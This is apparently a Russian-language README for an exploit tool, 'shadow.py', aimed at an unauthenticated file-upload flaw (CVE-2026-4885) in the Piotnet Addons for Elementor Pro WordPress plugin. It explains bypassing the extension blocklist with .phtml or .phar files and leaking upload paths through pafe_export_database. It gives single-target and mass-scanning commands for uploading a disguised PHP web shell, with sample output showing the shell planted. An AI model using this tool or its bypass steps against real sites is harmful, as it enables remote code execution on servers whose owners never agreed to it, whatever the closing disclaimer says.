
Piotnet Addons for Elementor Pro <= 7.1.70 - Неаутентифицированная произвольная загрузка файлов → RCE
Piotnet Addons for Elementor Pro <= 7.1.70 — Неаутентифицированная произвольная загрузка файлов → RCE
Плагин Piotnet Addons for Elementor Pro для WordPress уязвим к произвольной загрузке файлов из-за отсутствия проверки типа файла в функции pafe_ajax_form_builder во всех версиях до 7.1.70 включительно. Плагин использует неполный чёрный список расширений, который блокирует только расширения php, phpt, php5, php7 и exe, позволяя свободно загружать опасные расширения, такие как .phar или .phtml.
Это позволяет неаутентифицированным атакующим загружать произвольные PHP-файлы на сервер сайта, что приводит к удалённому выполнению кода (RCE).
Примечание: Эксплойт можно запустить только в том случае, если в форму Piotnet добавлено поле для загрузки файла.
~ Оценка CVSS: 9.8 (Критический)
~ Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
~ Затронутые версии: <= 7.1.70
~ Патч: Недоступен
~ Публично опубликовано: 18 мая 2026 г.
Обработчик AJAX pafe_ajax_form_builder принимает загрузку файлов без надлежащей проверки:
// Неполный чёрный список — блокирует только:
$blocked = ['php', 'phpt', 'php5', 'php7', 'exe'];
// .phtml, .phar, .shtml и т. д. проходят свободно ✓
Путь загрузки можно раскрыть через неаутентифицированное AJAX-действие pafe_export_database → экспорт CSV содержит полные URL-адреса файлов.
Интерактивное меню (по умолчанию):
python3 shadow.py
╾──── МЕНЮ ────╼
1 ▶ одна цель
2 ▶ массовое сканирование
3 ▶ выход
[1/2/3] :
Одиночная цель (CLI):
python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shell.phtml
Массовые цели (CLI):
python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shell.phtml
Опции:
-u, --url URL цели
-f, --file Файл с URL целей (по одному на строку)
-s, --shell Пользовательский PHP-файл оболочки (GIF89a добавляется автоматически)
-t, --threads Количество параллельных потоков для массового режима (по умолчанию: 5)
-h, --help Показать справку
form_id, post_id, field_name из HTML страницыpafe_export_database (без аутентификации, без nonce)shell.txtПодготовьте файл оболочки локально (например, shadow.phtml) — магические байты GIF89a добавляются автоматически, если отсутствуют.
Заблокированные расширения:
.php.phpt.php5.php7.exeИспользуйте вместо них:
.phtml.phar.shtml.php8и т. д.
╔══════════════════════════════════════════════════════════╗
║ ║
║ ♡ CVE-2026-4885 ║
║ Piotnet Addons for Elementor Pro <= 7.1.70 ║
║ Неаутентифицированная загрузка файлов → RCE ║
║ ║
║ от Shadow & Friska ♡ ║
║ ║
╚══════════════════════════════════════════════════════════╝
╾──── ВЕРСИЯ ────╼
♡ v7.1.67 <= 7.1.70 — УЯЗВИМА
╾──── РАЗВЕДКА ────╼
◆ сканирование 46 страниц (параллельно)...
♡ [PIOTNET] https://target.com/contact
post_id=9 | form_id=72071c0
◆ используется : https://target.com/contact
╾──── ЭКСПЛОЙТ ────╼
◆ post_id=9 | form_id=72071c0 | field=file
▶ пробуем .phtml ...
♡ загружено (.phtml)
♡ URL утечка : https://target.com/wp-content/uploads/piotnet-addons-for-elementor/shadow-xxx.phtml
╔══════════════════════════════════════════════════════════╗
║ ★ ОБОЛОЧКА ЗАГРУЖЕНА (.phtml) ║
║ ║
║ ◆ оболочка : https://target.com/wp-content/... ║
╚══════════════════════════════════════════════════════════╝
pip install httpx
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности.
Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным. Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.